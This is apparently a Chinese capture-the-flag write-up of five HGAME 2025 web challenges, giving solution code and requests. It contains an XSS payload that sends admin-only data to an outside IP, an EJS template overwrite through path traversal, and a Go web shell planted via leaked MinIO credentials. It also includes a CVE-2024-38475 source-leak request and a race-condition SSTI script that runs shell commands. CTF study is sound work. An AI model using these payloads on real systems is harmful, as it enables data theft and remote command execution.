HGAME2025 WEEK1 Web Writeup

Level 24 Pacman

index.js

image-20250204203705984

base64+栅栏2解密

image-20250204203827139

hgame{u_4re_pacman_m4ster}

Level 47 BandBomb

const express = require('express');
const multer = require('multer');
const fs = require('fs');
const path = require('path');
const port = 3000;
const app = express();

app.set('view engine', 'ejs');

app.use('/static', express.static(path.join(__dirname, 'public')));
app.use(express.json());

const storage = multer.diskStorage({
  destination: (req, file, cb) => {
    const uploadDir = 'uploads';
    if (!fs.existsSync(uploadDir)) {
      fs.mkdirSync(uploadDir);
    }
    cb(null, uploadDir);
  },
  filename: (req, file, cb) => {
    cb(null, file.originalname);
  }
});

const upload = multer({ 
  storage: storage,
  fileFilter: (_, file, cb) => {
    try {
      if (!file.originalname) {
        return cb(new Error('无效的文件名'), false);
      }
      cb(null, true);
    } catch (err) {
      cb(new Error('文件处理错误'), false);
    }
  }
});

app.get('/', (req, res) => {
  const uploadsDir = path.join(__dirname, 'uploads');
  
  if (!fs.existsSync(uploadsDir)) {
    fs.mkdirSync(uploadsDir);
  }

  fs.readdir(uploadsDir, (err, files) => {
    if (err) {
      return res.status(500).render('mortis', { files: [] });
    }
    res.render('mortis', { files: files });
  });
});

app.post('/upload', (req, res) => {
  upload.single('file')(req, res, (err) => {
    if (err) {
      return res.status(400).json({ error: err.message });
    }
    if (!req.file) {
      return res.status(400).json({ error: '没有选择文件' });
    }
    res.json({ 
      message: '文件上传成功',
      filename: req.file.filename 
    });
  });
});

app.post('/rename', (req, res) => {
  const { oldName, newName } = req.body;
  const oldPath = path.join(__dirname, 'uploads', oldName);
  const newPath = path.join(__dirname, 'uploads', newName);

  if (!oldName || !newName) {
    return res.status(400).json({ error: ' ' });
  }

  fs.rename(oldPath, newPath, (err) => {
    if (err) {
      return res.status(500).json({ error: ' ' + err.message });
    }
    res.json({ message: ' ' });
  });
});

app.listen(port, () => {
  console.log(`服务器运行在 http://localhost:${port}`);
});

首先看到const multer = require('multer')使用了multer然后有任意文件上传,并且rename路由可以重命名上传的文件,

Express会通过view/mortis.ejs渲染mortis视图

那么就可以上传一个ejs文件重命名为../view/mortis.ejs

<%= process.env.FLAG || require('fs').readFileSync('/flag') %>

image-20250210133220036

再访问主页面

image-20250210133122592

hgame{aVe_MuJ1cA-Has-BROK3n_UP-But-w3_h@v3-uMlTakif}

Level 69 MysteryMessageBoard

弱口令,密码是888888

进去之后有个留言板

image-20250204225011231

存在xss并且flag路由只能admin访问,admin路由可以查看留言

那么让admin访问flag就行,把数据外带出来

<script>
var xmlhttp = new XMLHttpRequest();
xmlhttp.withCredentials = true;

xmlhttp.onreadystatechange = function() {
    if (xmlhttp.readyState == 4 && xmlhttp.status == 200) {
        var flagData = xmlhttp.responseText;
        var flag1 = btoa(flagData);
        var remoteServerUrl = 'http://60.205.1.86:9000/';
        var xmlhttp2 = new XMLHttpRequest();
        xmlhttp2.open("POST", remoteServerUrl, true);
        xmlhttp2.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");
        xmlhttp2.send("content=" + encodeURIComponent(flag1));
    }
};
xmlhttp.open('GET', '/flag', true);
xmlhttp.send();
</script>

image-20250206214131540

hgame{W0w_y0u_5r4_9o0d_4t_xss}

Level 25 双面人派对

main文件直接执行,可以看到是启了一个http服务

image-20250209120914776

然后先对main文件upx -d脱壳,再用ida打开

image-20250209191807064

image-20250210133305397

minio:
  endpoint: "127.0.0.1:9000"
  access_key: "minio_admin"
  secret_key: "JPSQ4NOBvh2/W7hzdLyRYLDm0wNRMG48BL09yOKGpHs="
  bucket: "prodbucket"
  key: "update"

问gpt,这是MinIO对象存储服务

image-20250209130016207

连接服务

mc alias set test http://node1.hgame.vidar.club:30574/ minio_admin JPSQ4NOBvh2/W7hzdLyRYLDm0wNRMG48BL09yOKGpHs=

image-20250209134636965

源码在hints里,并且发现prodbucket里面有个update

结合文章https://baimeow.cn/posts/ctf/d3go

image-20250209134838177

直接在main.go里面增加一个rce路由编译成update,再上传到prodbucket覆盖原来的update就行

package main

import (
	"fmt"
	"github.com/gin-gonic/gin"
	"github.com/jpillora/overseer"
	"src/conf"
	"src/fetch"
	"os/exec"
)

func main() {
	fetcher := &fetch.MinioFetcher{
		Bucket:    conf.MinioBucket,
		Key:       conf.MinioKey,
		Endpoint:  conf.MinioEndpoint,
		AccessKey: conf.MinioAccessKey,
		SecretKey: conf.MinioSecretKey,
	}

	overseer.Run(overseer.Config{
		Program: program,
		Fetcher: fetcher,
	})
}

func program(state overseer.State) {
	g := gin.Default()
	g.StaticFS("/", gin.Dir(".", true))

	g.POST("/shell", func(c *gin.Context) {
		cmd := c.PostForm("cmd")
		if cmd == "" {
			c.String(400, "No command provided")
			return
		}

		output, err := exec.Command("/bin/bash", "-c", cmd).CombinedOutput()
		if err != nil {
			c.String(500, "Error executing command: %v", err)
			return
		}

		c.String(200, string(output))
	})

	err := g.Run(":8080")
	if err != nil {
		fmt.Println("Failed to start server:", err)
	}
}

image-20250209150133237

flag{y0u-5AId-RlGHT_But-You_5H0u1d-pI4y-gEn5hiN-IMp@CT0}

Level 38475 角落

robots.txt

image-20250206213758771

app.conf

# Include by httpd.conf
<Directory "/usr/local/apache2/app">
	Options Indexes
	AllowOverride None
	Require all granted
</Directory>

<Files "/usr/local/apache2/app/app.py">
    Order Allow,Deny
    Deny from all
</Files>

RewriteEngine On
RewriteCond "%{HTTP_USER_AGENT}" "^L1nk/"
RewriteRule "^/admin/(.*)$" "/$1.html?secret=todo"

ProxyPass "/app/" "http://127.0.0.1:5000/"

cve-2024-38475,构造请求获取源码

GET /admin//usr/local/apache2/app/app.py%3f HTTP/1.1
Host: node1.hgame.vidar.club:32372
User-Agent: L1nk/

image-20250206171648135

from flask import Flask, request, render_template, render_template_string, redirect
import os
import templates

app = Flask(__name__)
pwd = os.path.dirname(__file__)
show_msg = templates.show_msg


def readmsg():
    filename = pwd + "/tmp/message.txt"
    if os.path.exists(filename):
        f = open(filename, 'r')
        message = f.read()
        f.close()
        return message
    else:
        return 'No message now.'


@app.route('/index', methods=['GET'])
def index():
    status = request.args.get('status')
    if status is None:
        status = ''
    return render_template("index.html", status=status)


@app.route('/send', methods=['POST'])
def write_message():
    filename = pwd + "/tmp/message.txt"
    message = request.form['message']

    f = open(filename, 'w')
    f.write(message)
    f.close()

    return redirect('index?status=Send successfully!!')


@app.route('/read', methods=['GET'])
def read_message():
    if "{" not in readmsg():
        show = show_msg.replace("{{message}}", readmsg())
        return render_template_string(show)
    return 'waf!!'


if __name__ == '__main__':
    app.run(host='0.0.0.0', port=5000)

/read路由会读取留言的内容,看到render_template_string就知道有SSTI,但是过滤了{,可以条件竞争

import requests
import threading
import time

url_send = "http://node1.hgame.vidar.club:31844/app/send"
url_read = "http://node1.hgame.vidar.club:31844/app/read"


payload = "{{g.pop.__globals__.__builtins__['__import__']('os').popen('cat /f*').read()}}"

def send_payload():
    while True:
        try:
          
            response = requests.post(url_send, data={"message": payload})
            print(f"Payload sent successfully to {url_send}")
        except Exception as e:
            print(f"Error sending payload: {e}")
        time.sleep(1)


def read_message():
    while True:
        try:

            response = requests.get(url_read)
            print(f"Response from /read: {response.text}")
        except Exception as e:
            print(f"Error reading message: {e}")
        time.sleep(1)

if __name__ == "__main__":

    send_thread = threading.Thread(target=send_payload, daemon=True)
    read_thread = threading.Thread(target=read_message, daemon=True)

    send_thread.start()
    read_thread.start()

    while True:
        time.sleep(1)

image-20250206211914726

hgame{yOU-fINd-Th3-key-To_RRRac3_0uUuUt25a5219}